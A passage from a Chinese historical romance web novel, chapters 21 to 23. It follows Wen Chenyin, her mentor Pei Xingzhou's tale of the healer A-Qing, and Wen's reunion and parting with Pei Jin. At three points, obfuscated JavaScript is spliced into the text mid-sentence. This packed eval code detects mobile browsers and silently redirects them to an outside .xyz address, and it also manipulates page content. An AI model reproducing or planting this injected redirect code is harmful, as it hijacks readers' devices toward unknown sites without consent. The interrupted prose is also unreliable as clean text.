为了能速战速决,不让自己的军队就这样被拖垮,裴行州决定亲进山,探查敌情。 不料在回营的路上,他所率领的队伍却遭遇了一群流寇的伏击。 凭借着丰富的经验和出色的指挥能力,裴行州很快将那群流寇击退,并将其中两人擒下。 但为了保护自己的同伴,他的右肩处却被敌军自制的竹箭擦伤。 那日回到军营之后,裴行州顾不得自己的伤势,随意包扎之后,便根据审讯的口供贺探查到了信息开始拟定新的作战计划。 就在一切进行到最紧张的时刻,却有人告诉他,顾正霆将一个陌生的女子带进了军营。 一个年轻貌美的女子忽然出现在军营,很快就引发了众人的关注。 士兵们为了一探究竟,便开始找着各种借口,去她的营帐附近转悠。 裴行州心觉不妥,便将顾正霆叫来问了问情况,这才知道,那名女子名叫阿青,是当地一户农户家的女儿。 因为父母在流寇的肆虐欺辱下相继离世,身旁已无亲人可依靠,她便打算去附近的城镇里谋条生路。 不料行至半路,却遭遇了为了躲避军队的追击而四下逃窜的流寇。 流寇们见她样貌美丽,顿时心生歹念,想要将她掳走。 情急之间,顾正霆刚好从旁经过,听到呼叫声后便出手将她救下并带了回来。 听完好友的解释后,裴行州只觉得一个年轻貌美的女子留在军中实在不方便,于是便准备了一些银子,打算安排了身边的一名亲信护送她离开。 顾正霆却觉得流寇尚未平定,即便有亲信护送只怕也不安全,不如等一切安定下来了,再做打算。 争执之间,听闻消息的阿青却直接闯入裴行州的军帐,态度坚决地表示自己懂得医术,又对当地的情况十分了解,因此想要留下来,助他们共同破敌。 裴行州受毒虫瘴气之扰已久,深知其中厉害,此刻面对一个身材纤弱,又娇艳如花的女子,自然不愿她留下来冒险。 偏偏阿青性格倔强,又自尊心极高,因为误会裴行州看不起自己,竟是气势汹汹地与他争吵了起来。 不料刚吵了没几句,裴行州忽然觉得头晕目眩,气血上涌,脚步虚晃之下,竟是不得不赶紧坐了下来。 一直看着两人争吵却无力相劝的顾正霆只当他是怒火攻心,便赶紧朝阿青使了一个眼色,示意她赶紧离开这风暴之地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221113|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿青却像是没收到他的暗示一般,冷眼旁观了一阵后,竟是快步向前,直接将裴行州衣衫扯开,查看起了他肩上的伤口。 面对她如此大胆的举动,众人一时间都不知该如何反应。 面面相觑之间,阿青在检查完他的伤口后,竟是不顾男女授受不亲的忌讳,迅速俯身而下,将嘴唇贴上了裴行州的右肩。 那时的裴行州虽说早已因为英俊的长相和显赫的家世而成为了很多闺中少女的钦慕对象,父母也已经开始为他挑选结亲的人选,但因为常年出入军中,却从未与任何年轻的少女有过这样亲密的接触。 这让他一时间只觉得心跳加速,脸也飞速滚烫了起来。 顾正霆似是也被眼前的这一幕惊呆了,立马快步向前,想要将她拦下。 然而阿青却根本不为所动,在言简意赅地解释了一句:“不想他死就安静点”之后,便专心致志地帮他吮吸着伤口中的毒血。 等到毒血的颜色由紫转红后,她才起身找来了一些草药,嚼碎之后敷在了他的伤口上。 随着眩晕感渐轻,伤口的地方也从酥麻变得疼痛,裴行州这才终于意识到,那只竹箭上淬着的剧毒,差点要了他的性命。 亏得有阿青反应迅速,才将他从鬼门关给拽了回来。 那一夜,为了防止中毒的伤口再有反复,阿青一直守在他的床前,片刻不离地用心照顾着,整夜未曾阖眼。 虽然中毒之后满身困倦,但是有这么一个美丽的女孩子守在一旁,裴行州却只觉得心潮起伏,竟是舍不得阖眼。。 在历经了长时间的沉默后,他终于以感谢为借口,主动和她闲聊了起来。 在那些琐碎的谈话中,他向对方诉说了自己一直以来的志向,分享了从军过程中的种种经历, 而阿青也在他认真又坦诚的倾诉中放下了戒备,向他诉说了关于自己的种种。 阿青的父母在世时,都是当地有名的医者。她虽然身为女子,却也一直心存济世救人之心。 因此在听闻了朝廷派出军队来莫歧山平寇,却因为当地的特殊环境而举步维艰后,她便拿定了主意,想要助他们一臂之力。 不料前往军营的路上,她却先一步遇到了当地的流寇。 被顾正霆救出后,因为不确定对方究竟是敌是友,才一直没有道出实情。 对于裴行州而言,那是一个非常美妙的夜晚。 虽然帐外虫鸣声不断,吵得人难以入睡,虽然肩部的伤口一直疼痛着,虽然平寇之事依旧压力重重,但是阿青温柔的声音和美丽的笑脸,足以治愈这一切。 接下来的半个月里,阿青一直留在军营,替被毒虫和瘴气所困的兵士们清创疗毒。 面对那些形状狰狞的创口时,她总是认真而专注,全然没有半点身为女子的胆怯娇弱。 有了她的帮助,裴行州也抛下了后顾之忧,很快振作起精神,扫平了莫歧山的流寇。 时至战事结束,身边已无亲人依的阿青便跟随平寇大军一同回了天启城。 听完了这段故事,温沉吟不禁心生好奇:“那阿青后来怎么样了?她这样的医术与心志,为何我从未听说过?而且她既然来了天启,你们有再见过么?” 裴行州双眼微阖,嘴角抿出了一抹笑,口气也因为“阿青”这个名字的出现,而变得更加温柔:“自然有见过。只是阿青是她临时起意用的化名,来到天启之后,便再也没有用过……” 在他那饱含思念的笑意中,温沉吟心下一动,很快便反应了过来。 这个让裴行州心心念念,至今难以忘怀的阿青,便是他的夫人虞澜婴。 也正因为他有过这样的经历,他才会被温沉吟与小豆子之间的故事所触动,并愿意成全他们之间那段难得的情谊。 在温沉吟的记忆里,自己的父亲温北堂是从未这样温柔的和她闲聊过。 他的所有心思都放在追名逐利上,所以从来没有耐心试着认真地理解她,也从未对她展露身为父亲呵护与温柔。 尤其是在母亲离世之后,两人之间甚至连同室相处的时候也变得屈指可数。 虽然不确定他对自己的态度究竟是出于愤怒、嫌恶还是问心有愧,但她知道,比起父女,他们之间的关系更像是两看相厌的陌生人。 原本她以为,父爱的缺失会是她人生中一个无法弥补的遗憾,但是裴行州的出现,却让她深切地感受到了犹如父亲般的关怀与信任。 那一刻,在对方娓娓道来的声音里,那个潜藏已久的念头再次在心间奔涌—— 如果自己不是出身在温家,而是与眼前这个叔叔成为一家人,那就实在是太好了! 21. 裴瑾 裴行州是如何劝动自己那位性情古板又不苟言笑的父亲,温沉吟并不清楚。 但就在温珩再次去往荟英堂时,她却发现温北堂不仅安排下人为她收拾好了行李,还准备好了同行的马车。 那日去往荟英堂的路上,温沉吟的心中一直有些忐忑。 虽然有裴行州作保,但她叛逆不孝的名声已经传遍帝都,如今光明正大地去往荟英堂,那些世家公子们对她究竟会是何态度,实在不得而知。 然而让她欣慰的是,得知自己的同学中忽然多出了一个女孩之后,院里的少年们大多都表现得很兴奋。 自她进门起,便像是要引起她的注意一般,不断找着借口在她附近说话晃悠。 温沉吟偷偷溜进荟英堂的那些日子,虽然大多是蹲在窗下偷听,并无机会与他们打交道,但也从他们的谈话中,大概了解到了诸人的身份。 眼下亲眼得见,众人又都态度和善,她心中只觉亲切又温暖,很快就在温珩的引荐下,和他们一一打起了招呼。 招呼打到最后,温珩特意将她带向了课堂的一角,像是有什么重要的人物要介绍给她认识,就连神情也变得严肃了起来。 见自家弟弟如此郑重,温沉吟也打起了十二分的精神,然而当她的目光落向那道熟悉的身影时,人却忽然怔住了。 端坐在眼前的少年身姿挺拔,目色清朗,即便身边都是资质出众的世家子弟,却依旧是那样鹤立鸡群,亮眼夺目。 只是相较于过去精灵古怪的模样,眼下的他明显是要沉稳了许多。 目光相触与她时,他也只是浅浅一笑,并没有要急着叙旧的意思。 见她面露惊异,呆立当场,温珩似乎觉察到了什么,赶紧笑着介绍道:“姐,这位便是裴叔叔的儿子裴瑾。我听裴叔叔说,之前你们曾经是见过的,对么?” 温沉吟还在处在巨大震惊之中,一时间没来得及接话,裴瑾却已经笑了起来:“那已经是很多年前的事了,当时我们都还小,虽然在温府之中匆匆见过一面,却没说上话,想来温小姐应该是没什么印象了。” 听他这么一说,温沉吟也很快想起来了。 当初谢安凝故去之后,下葬之前曾在府中摆灵三日,以供亲友祭拜追思。 裴行州登门祭拜时,身边带了一个小小的男孩子。 从旁人的议论声里,温沉吟知道了那是他唯一的儿子。 大概是因为自己母亲早故,而对温沉吟的心情感同身受,小男孩随着父亲祭拜完谢安凝之后,还特意走到温沉吟身前,很郑重地对她行了礼。 只是当时的温沉吟还沉浸在失去母亲的悲痛之中,对周边的一切人事都无心理睬,所以除了还礼之外,他们之间没有做任何交流。 十多年后,当初那个玉雪可爱的小男孩已经长成了俊朗夺目的少年人, 也正因如此,当对方再次出现在她面前时,她竟是丝毫没能认出来。 不过从裴瑾的回答来看,似乎在刻意避忌着他顶着“小豆子”的名字,和她一起钻洞翻墙的那些荒唐事。 温沉吟心下了然,于是很快摁纳下满心的激荡,一脸平静地与他颔首见礼。直到四周的人一一散去后,才慢步走到他身边,低声问道:“你身上的伤,都已经好了吗?” 听她提及受伤之事,裴瑾似是有些为难,但还是点了点头,轻声应道:“前些日子在家休养了一阵,现在已经没事了。” 温沉吟却依旧不放心,继续追问:“那你身上的毒呢?我听裴叔叔说,那种毒很难解的,你确定已经没事了吗?” 见她满脸关切,裴瑾的嘴角弯出了一抹笑:“你放心,有父亲和顾伯伯一起为我驱毒疗伤,那些毒也已经彻底解了。” “真的?” “当然是真的。若非真的没事了,父亲怎么会让我出府?” “那倒也是……” 温沉吟这才彻底松了一口气,心下却禁不住有些怨念:“我倒是真没想到,你竟然是裴叔叔的儿子……” “怎么?看上去不像吗?” 裴瑾似是被她一脸郁闷的模样逗乐了,脸上的笑容也更大了些:“其实很多人都说过,我和我爹长得不太像,所以我想,我大概是长得更像我娘……” 就如裴瑾所说,只看容貌的话,他与裴行州并不十分相像。 裴行州是国字脸,五官英挺周正、线条硬朗,周身充满了英武的男子气概,相较之下,裴瑾的脸部线条却更加细腻流畅,五官也更加俊美柔和。 比起大多数人印象中,那种豪爽不羁的的沙场武将,换下战袍的他,更像是个吟风逐月的翩翩公子。 但或许是血统的传承,又或许是言传身教之下的带来的影响,抛下了那副古灵精怪模样后,坐在荟英堂课堂上的裴瑾与他的父亲一样,自带令人敬仰的端方气场。 在那种气场的感染下,温沉吟也不敢再如平日那般和他开玩笑,于是只能小小声地抱怨道:“那这些事你怎么不早些告诉我?” 裴瑾闻言似是有些踌躇,但还是耐着性子解释道:“我娘在我出生没多久就被奸人所害,父亲也因此一直痛苦自责。因为怕他伤心,我很少会提起与我娘有关的事……若是有什么地方让你误会了,还请见谅。” 他将答案一直聚焦在样貌之上,这显然是误会了温沉吟的意思。 但见听语气哀伤,显然是被勾起了伤心事,温沉吟也不愿在追究下去。 片刻沉默之后,裴瑾却主动开口:“温小姐,在下有个不情之请,不知你是否能应允?” 温沉吟微微一愣:“什么?” 裴瑾压低了声音:“我受伤中毒之事,父亲不欲惊动旁人,所以除了顾伯伯之外,并没有什么人知晓。温小姐既已知情,不知可否替我保守这个秘密?” 他一口一个温小姐,口气也温和有礼,却充满了谨慎的疏离感,这让温沉吟久别重逢之后满是激动的一颗心,很快冷静了下来。 细细想来,虽然他们之间曾经有过一段相濡以沫,亲密无间的时光,但如今,彼此的身份都已经清清楚楚的摆上了台面。 那些相互隐瞒身份,一起爬树钻洞,死中求生的荒唐事,必然也不适合再大肆宣扬。 裴瑾既然已经委婉地表明了态度,她自然不能显得太不识趣。 因此,在对方满是期盼的注视下,她很快点了点头:“公子放心,既然你已经大好,过去之事,我必定不会再提了。” 接下去的日子,温沉吟开始了自己在荟英堂的求学生涯。 因为这个机会实在来之不易,整个过程她都表现得规规矩矩,再无半点出格的举动。 裴瑾也像是因为那场重伤而受了教训,彻底收拾起了他轻狂顽皮的那一面,一举一动都克己复礼,再也没有让人操过半点心。 唯一让温沉吟感觉可惜的,就是裴行州像是被什么繁忙的军务缠住了,再也没有出现在荟英堂的课堂里。 时光如流水,随着日子一天天的过去,温沉吟和同窗的少年们都慢慢都熟悉了起来。 虽然有不少人曾经因为她身为女子,难免有轻看之意,但随着相处时日渐长,在见识到了她聪颖机敏,又果敢坚毅的一面后,都逐渐放下了成见,和她成为了不错的朋友。 就连最初因为她忤逆父亲,强行为自己改名而私下里对她颇有微词的魏弘宣,也和温珩一样,将她视作长姐,有事没事都喜欢屁颠颠地跟在她身后。 这种能与志同道合的朋友们朝夕相处,又能在名学大家的指点下每日有所进益,让温沉吟感觉快乐而满足。 如果要说还有什么遗憾,那便是她与裴瑾曾经肆意打闹的那段日子被彻底深埋进了时光之中。 那是她和裴瑾之间心照不宣的秘密,也是他们羁绊的开始。但如今却因为身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221114|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份的坦白,再难宣之于口。 虽然因为裴行州的缺席,武学方面的功课暂时停止,但荟英堂里的男孩子们闲暇时也会相互过过招。 每当那个时候,她便站在院子一角,静静地看着他们比试。 虽然在旁人眼里,她是因为放心不下温珩,才会风雨无阻守在那里,但她心里清楚,但凡有裴瑾上场,她的目光都会情不自禁地落在他身上。 而且她也知道,即便眼下手握长枪,数招之间便能将对手击败时的裴瑾是那样从容潇洒,意气风发,可更让她无法忘怀的,却是他和自己一起钻狗洞、看花灯,偷藏在屋顶上悄然许诺着要一起要去祁山看小马时,那淘气又真挚的模样。 某日黄昏后,天空忽降大雨。 原本还打算在晚饭之后在院中比试切磋的学生们,都意兴阑珊地回了屋。 温沉吟惦记着温珩近段时间太过用功,饭总是吃得马马虎虎的,就打算趁着难得的休息时间,去厨房里给他做些吃的。 从前院路过时,她无意中看到了大雨之中,有人俯身在一棵大树下,正忙忙碌碌地捡着什么 驻足观望了一阵后,她发现那人的背影十分眼熟,禁不止举着雨伞跑了过去。 伞身罩上头顶的那一瞬,对方很快回过头来。 四目相接之下,两人都愣了愣。 虽说自荟英堂重逢以来,考虑到对方的顾忌,温沉吟与他相处时,都小心翼翼地保持着距离,但眼下见此情形,还是让她忍不住问道:“这么大的雨,你不回屋休息,这在干什么?” 裴瑾这才回过神来,有些羞赧地解释道:“家母生前很喜欢合欢,在家中也种了不少合欢树,自她去世之后,父亲就总会把凋落的合欢花搜集起来,供奉到她的灵前。只是这些年父亲忙于军务,打理家事的时间越来越少,那些合欢树渐渐也都不开花了……方才我看这院中合欢被暴雨打落,实在可惜,所以便想搜集起来带回去,倒是让温姑娘见笑了。” 听他如此解释,温沉吟不由得也想起了自己的母亲。 满心酸楚之下,口气也跟着软了下来:“可是眼下咱们离回家还有好几日,花朵沾水之后又容易腐坏,你打算如何保存?” 裴瑾似是没想过这一点,微怔之下,慢慢站直了身体,口气中也带上了轻微的失望:“那倒也是……这样说来,这些花只怕是带不走了。” 当日给温珩做宵夜时,温沉吟一直有些心不在焉,脑中总是浮现着裴瑾将拾好的合欢重新放下时,那又是遗憾,又是不舍的表情。 前思后想了好一阵,她干脆回到了院中,冒着磅礴的大雨将那些合欢花重新搜集起来。 然后她将搜集好的花拿到小厨房里,一点点将水分烘干,又添加了一些除虫干燥的香料,缝制几个荷包。 如此这般折腾了一晚上,她只觉得浑身疲倦,次日听课时,还因为深思倦怠,注意力不集中,被尉迟上恭瞪着眼睛提醒了好几次。 待到课堂散去,四下无人,她才赶紧将裴瑾拦下,然后将那几个荷包塞到了他手中。 裴瑾不明就里,看向她的目光里都是惊诧和疑惑。 眼见如此,她也只能硬着头皮解释道:“我向来不擅女工,针线功夫也差得狠。只是想着用这样的法子,大概能让那些花儿保存得久一点。你若觉得太丑,到家以后拆了就是……” “哪里丑了?” 没等她把话说完,裴瑾已经明白了她的意思,认真看了一阵后,便珍而重之的把那些荷包放进了怀里:“阿吟,谢谢你。这些荷包都很好,我想我娘一定会很喜欢的!” 在他真挚的道谢声中,温沉吟有些害羞地把头低了下去。 他对她表示谢意时,脱口而出是“阿吟”,而不再是“温姑娘”。 虽然态度依旧客气又礼貌,但这称谓上的微妙改变,还是让温沉吟感受到了久违的默契与亲近。 22. 承诺 中秋即将来临时,荟英堂里的气氛渐渐变得奇怪了起来。 先是有许多学生称病,陆续被家中长辈接走,至此一去不返。 紧接着,就连平日里最严谨守信的尉迟上恭,也没有再来过课堂。 后来温沉吟才知道,那段日子里,一封秘密奏报被送到了魏栩明的眼前。 在那封奏报中,有人以春秋笔法,对尉迟上恭和裴行州极尽构陷,称两人是为了扶植魏弘宣上位,以便控制燕国未来的朝局,才会暗中结党,设立了荟英堂。 魏栩明原本就性格多疑,这封奏报又精准地戳到了他最忌惮的部分,这让他惊怒之下,不仅对涉事的朝臣官员一一进行了调查,还将魏弘宣招至身前,狠狠训斥了一番。 索性牵连进此事的臣子大多功绩在身,又在民众之中颇有威信,若是统统治罪,难免会让大燕朝堂动荡,民心不安。 外加事发之后,尉迟上恭主动请罪,将所有的罪责都揽到了自己一人身上,魏栩明才勉强将事情压了下去,没有再公开问责。 虽说当时的温沉吟对于朝堂中的风云变幻一概不知,但也从同学们的私下议论中,预感到了荟英堂即将迎来变故。 只是一切尘埃落定之前,她也不舍得就这样离去,于是依旧安安静静地呆在荟英堂里温读书本,只盼着这桃花源般的日子能多坚持一时是一时。 时至中秋那日,已经所剩无几的同学们都早早地收拾好了行李,回府与家人团聚。 温沉吟不想面对温北堂,更不愿回府之后触景生情,想起母亲在中秋那日所受的种种苦楚,因此连哄带劝地将温珩送走后,自己却找了个借口留在了院中。 那一天,温沉吟一直呆在自己的寝舍里看书,时近黄昏,才打算去厨房里弄点吃的。 路过后院时,她习惯性地朝着熟悉的学堂内看了看。却发现一道熟悉的人影安静地坐在窗棂下,提笔而书,像是在倾诉着什么不为人知的心事。 惊诧之下,温沉吟将门一推,快步走了进去。 听到动静声,裴瑾也赶紧将笔放下,冲她弯出了一抹笑:“今天不是中秋吗?我看温珩早早就回去了,你怎么还留在这?” “你不是也没走吗?” 温沉吟随口应着,目光却落向了摊放在桌上的那册书本。 书本上留着墨迹未干的两行小诗,显然是裴瑾刚刚写下的。 虽然已经从对方那难以掩藏的惆怅中觉察到了依依不舍之意,但看着“血浸吴钩霜浸瞳,半旗残月压雕弓”的凌厉笔锋,某种不祥的预感,还是让她阵阵心凉。 似乎是留意到了她神情的变化,裴瑾的口气也变得有些复杂:“其实我已经准备要走了,只是这一走,也不知道什么时候才能回来,所以才想着能在这里多呆一刻是一刻……” 在他低低地解释声中,温沉吟的心一点点地向下坠去:“你这话是什么意思?这荟英堂……以后你都不会再来了吗?” “嗯……” 裴瑾看着她,还是很平静的样子:“陛下刚颁下圣旨,命父亲去北境驻守。作为他唯一的儿子,我自然也要随他同去……只是北境战事频繁,这一去大概会呆很久,所以这荟英堂……我应该就回不来了。” 北境气候苦寒,环境恶劣,却历来是燕庆两国的兵家必争之地,常年战事频发。 去北境驻守究竟意外着什么,温沉吟不是不清楚。 虽然满心都是难过和不舍,但她为了安慰对方,她还是柔声表示:“没关系,反正这荟英堂一直都在。你若是得空回来,就过来看看,大家都会等着你的!” “等不到了……” 裴瑾摇了摇头,一直极力克制着的声音里,终于带上了一丝沙哑:“七日之前,陛下下旨,命尉迟太傅回乡养老。不料昨日已有消息传来,太傅因遭遇山贼,已经死在了回乡的路上。所以这荟英堂……大概也不会存在了。” 虽说在尉迟上恭的主动请罪之后,魏栩明并没有就荟英堂一事再公开问责,但短短半月之内,作为创办根基的两位文臣武将一个被遣还乡,一个被远调北境,足见内心深处,他并未打算轻易放过此事。 更有甚者,从尉迟上恭那不合常理的死法来看,魏栩明对此事始作俑者甚至早起了杀心。 若非裴行州有保家卫国之能,又在敌军心中极具威慑力,只怕眼下也就不是被调任北境那么简单了。 温沉吟呆在荟英堂的这段日子里,受了尉迟上恭颇多的照顾。 在她的心目中,那个须发皆白却依旧铁骨铮铮的老头儿虽然总是很严肃,但却就如同她的祖父一般。 如今听说对方已然离世,还是以这样一种不体面的方式,心中不禁又惊又痛。 见她神情郁郁,眼眶泛红,显然是在为尉迟上恭的离世和即将面对的分离而难过,裴瑾也跟着陷入了沉默。 许久之后,他像是下定决心一般,再次提笔,在书本上涂写了起来。 未等墨迹干透,他迅速将书页一合,递到了温沉吟手中:“前些日子承蒙你帮忙做了那些荷包,我本来应该好好谢谢你的。只是消息来的太仓促,我没几天便要走了,如今身边也没带什么东西。这本书送给你,就当是做个纪念吧……” 虽然他动作很快,理由也光面堂皇,但温沉吟眼尖,早已留意到他在方才那两行诗句下补全的句子赫然便是“匣中尚有合欢结,不勒燕然便作烽”。 合欢暗藏相思之意,也是让他重新开始唤她“阿吟”的契机。 对于性情沉稳,又端方含蓄的裴瑾而言,这种表达心意的方式,已经算是他能做到的极限了。 温沉吟把书接在手里,却只觉得千言万语梗在喉间。 眼见裴瑾已经开始收拾笔墨,似是就要离去,她只觉得心中慌乱,很快伸手拉住了他的袖子:“瑾哥,你走之前,可不可以答应我一件事?” 重逢之后,鉴于各自的身份已经亮明,她一直恪守礼数,客客气气地称呼他为“裴公子”,但内心深处,她却从未忘记过,对方曾经心心念念地,就盼着她能叫他一声“哥哥”。 如今分别在即,下次再见不知道会是什么时候,那她为什么还要让对方带着遗憾离开呢? 这声“瑾哥”一出,裴瑾的眼瞳明显震了震,似乎内心迎来了一场山呼海啸。 但很快的,他还是镇定下来,只是看向她的目光越发温柔:“有什么事,你尽管说!” 温沉吟声音微微发颤:“你答应我,无论如何,一定要平安回来。” 裴瑾点了点头,像是要给她信心一般,轻轻握住了她的手:“好!你放心。我一定平安回来。” 中秋之后,荟英堂的学生们像是达成了默契一般,都没有再回来。 温沉吟也默默地收拾好了自己的日常用品,坐上了温北堂特意安排来接她的马车。 离开那日,她独自一人在空荡荡的小院内伫立了良久,才小心翼翼地将院门关上。 她知道,此去一别,这个地方,她大概是永远无法再回来了。 回府之后的第三天,温沉吟收到消息,虎贲将军裴行州花下重金在城郊买下的一栋小院忽然起火,从里到外被烧了个干干净净。 但或许是他忙于调任之事而分身乏术,又或许是那栋小院里并没有什么珍贵的财物,在听闻此事之后,他也只是点了点头,并没有过问过起火的缘由。 当天夜里,温沉吟因心绪烦闷早早回房睡下,然而辗转之间,只要一想到那个曾经被寄托了无数期待和理想的地方就这样付之一炬,她就怎么也睡不着。 时至午夜时分,已然身心俱疲的她正打算强迫自己合眼睡去,窗棂处却传来的一声轻微的动响。 温沉吟心下一惊,赶紧起身将窗户推开,探头向外看去。 借着月光的清辉,她很快见到不远处的假山后,一张熟悉的面孔正探头探脑地看向自己的方向。 温沉吟又惊又喜,赶紧朝他招了招手。 对方见状,赶紧将手里的小石子一扔,快步窜到了窗棂之下。 “看来我运气不错,听你府中的下人聊了几句,就知道你住这里了!怎么样,这么久没见,你该不会忘了我是谁吧!” 对方那一脸精灵古怪的模样,瞬间把温沉吟带回了他们携手以共,亲密无间的时光,让她原本满是沉重的一颗心,也跟着雀跃了起来:“你怎么忽然过来了?是有事要找我吗?” “其实也没什么重要的事啦……” 裴瑾哀声一叹,神色中露出了几分惆怅:“就是我明日就要离开这儿了,特意来和你辞行。” “明日?这么快吗?” 虽然已经知道裴瑾随父去往北境之事已是板上钉钉,再无回寰的余地,但离别来得这么快,还是让温沉吟有些沮丧:“那你的东西都准备好了吗?有没有什么是我可以帮忙的?” “东西倒是没啥准备的,不过有个忙,还真要你帮一下!” “什么忙?” “呐……就是这个……” 说话之间,裴瑾已经将手心一展,将一根发簪塞到了她手里:“这根发簪呢……我原本是打算做好之后送给你的,但是现在我要走了,随身带着怕是不方便,所以就先放你这里,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221115|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先替我好好保管着,等我回来了,再继续把它做完!” 温沉吟接在手里,仔细看了看。 那是一根银制的发簪,簪首的部分是一朵歪歪斜斜的合欢花,模样很是粗劣。 大概是因为时间紧迫,合欢的花瓣甚至还没完全雕琢好。 想到离别之前,对方有那么多事要忙,却还亲手为她准备了这么一份礼物,温沉吟心中又是喜悦,又是伤感。 惆怅之间,她也不知道该说什么,只是下意识地开始婆娑着簪首花朵。 裴瑾却像是有点紧张,赶紧伸手一拦:“忘了提醒你,这簪子你若要戴的话,可得小心些!” “怎么了?” “我担心走了以后,你会像上次那样遇到麻烦,所以就在这簪子里藏了一根淬毒的银针,你若遇到危险,只要将簪首的那朵花用力摁下,那根毒针便会射出来。你别看这毒针不起眼,但上面的毒见血封喉,可是厉害得很!关键时候说不定能救你性命,你可千万记住了!” 温沉吟没想到他竟会如此用心,一时间只觉得百感交集。 但为了不让气氛变得太过沉重,她还是笑了起来:“什么毒这么厉害?居然能血封喉?” “这你就不用问了……若你真想知道,等我回来那天,再慢慢告诉你!” “倒也不用等那么久吧?” 他洋洋得意的表情中,温沉吟将那只银簪举到鼻尖轻轻一嗅,神情也变得有些惊诧:“九幽鸩羽?这种毒药制作不易?你是从哪里弄来的?” 裴瑾没想到她这么快就猜出了答案,一时间也好奇了起来:“从一个熟人那弄来的,他常年混迹江湖,身上总要带着点保命的玩意……不过你又是怎么知道的?” “我娘当年中毒而死,我自然要在这种事上下点功夫……” 话说至此,温沉吟努力振作了一下精神:“不管怎么样,这只簪子我就先收着了。但你也要记得,一定要早点回来见我!” “那是当然,这只簪子还没做完,我肯定不会半途而废。” 裴瑾嘿嘿笑了一阵,见她不再应声,眼眶却开始泛红,一时间也变得有些不知所措。 片刻之后,随着不远处的狗吠声响起,他才像是骤然惊觉一般,轻声咳了咳:“你府中守备森严,再耽误下去,怕是会被人发现。要是你没其他要说的,我可就走了……” 话音未落,温沉吟忽然握住了他的手,再次颤声强调:“你放心走就是,不过千万要记得,你答应过我的事!” 裴瑾似是没想到她会主动握自己的手,惊诧之间,眼瞳不自觉地颤了颤。 紧接着,他将牙一咬,探身而上,速度飞快地吻上了她的额头。 那个吻犹如羽落轻鸿,轻轻柔柔地落下,又飞速离开。 若不是嘴唇贴上肌肤后留下的灼热,她甚至不敢确认对方究竟做了什么。 心脏还在砰砰乱跳,裴瑾已经快步退开,原本神采飞扬的一张脸,也已经烧的通红。 但离开之前,他还是再次扬起手臂,用力冲她挥了挥,声音里都是郑重:“你放心!今日我亲了你,以后心里就只会有你一个!若是你愿意,等找到机会,我就找人上门提亲,娶你做媳妇!” 裴瑾这个承诺并没有让温沉吟等太久。 在他随父去往北境两年之后,因为战绩斐然,又出落得英姿飒爽,玉树临风,魏栩明对其欣赏有加,有意为他和自己最心爱的小女儿指婚。 然而就在那次庆功封赏的酒宴上,裴瑾却无视了魏栩明的种种暗示,赫然提出了想要迎娶温沉吟为妻的请求。 重臣武将的子女联姻,魏栩明自是心存芥蒂,裴瑾当着众位大臣的面,不知天高地厚,公然违背其心意的举动,更是让他怒气横生。 只是裴瑾心意已决,且态度坚定,并无再行商量的可能 顾忌着裴氏父子在军中的威望以及北境的安宁,魏栩明终究还是忍下了心中的怒火,应允了他的恳求。 得知自己得皇上指婚,即将嫁进裴家成为裴瑾的妻子后,温沉吟只觉得满是欣喜。 那份喜悦不仅是因为她终于能和曾经生死与共的意中人并结连理,更在于她可以离开一直以来冷眼相对的父亲和那个满是痛苦回忆的家,以儿媳妇的身份,与一直爱戴敬仰着的裴叔叔真正成为一家人。 因此,从知道这个消息的那天起,她就一直憧憬着自己身披红霞,正式嫁入裴府的那一天。 只是万万没想到的是,天教心愿与身违。 心愿的偿之前,她先一步等来的却是裴氏父子一个身死、一个失踪的消息。 23. 挑衅 从梦中醒来时,天色已然大亮。 温沉吟惦记着夏翌之事,不敢再耽搁,迅速将情绪整理好之后,便起身下了床。 才把房门拉开,一道熟悉的身影却赫然映入了她的眼帘。 半日之前还在芷花馆里花天酒地的马小六不知什么时候已经回来了,此刻正坐在她房前的长廊下,垂着头打瞌睡。 满心失望之下,温沉吟也不想再和他多说什么,冷冷斜眼之后,便准备离去。 顷刻之间,一个侍女却已悄然走了过来:“小姐您醒了?要吃点东西吗?” 看她这样子,大概也是见她久久不醒,便一直在附近守着。 温沉吟再是心烦,终究还是没忍住问了一句:“他怎么会在这?” 侍女面露无奈,压低了声音:“裴公子昨夜回来,就等在这了,说是自己做错了事情,想求小姐原谅。奴婢担心他着凉,劝他回屋去睡,他也不肯,奴婢实在劝不动,便只能由着他了……” 自己还没有所反应,对方却先一步使起了苦肉计。 温沉吟心下不屑,但见他那副身体紧缩,又不敢让自己睡得太沉的狼狈模样,又止不住有些心软。 几乎同时,一直昏昏欲睡的马小六似乎是被他们的对话所惊扰,一个激灵之下,猛地睁开了眼睛。 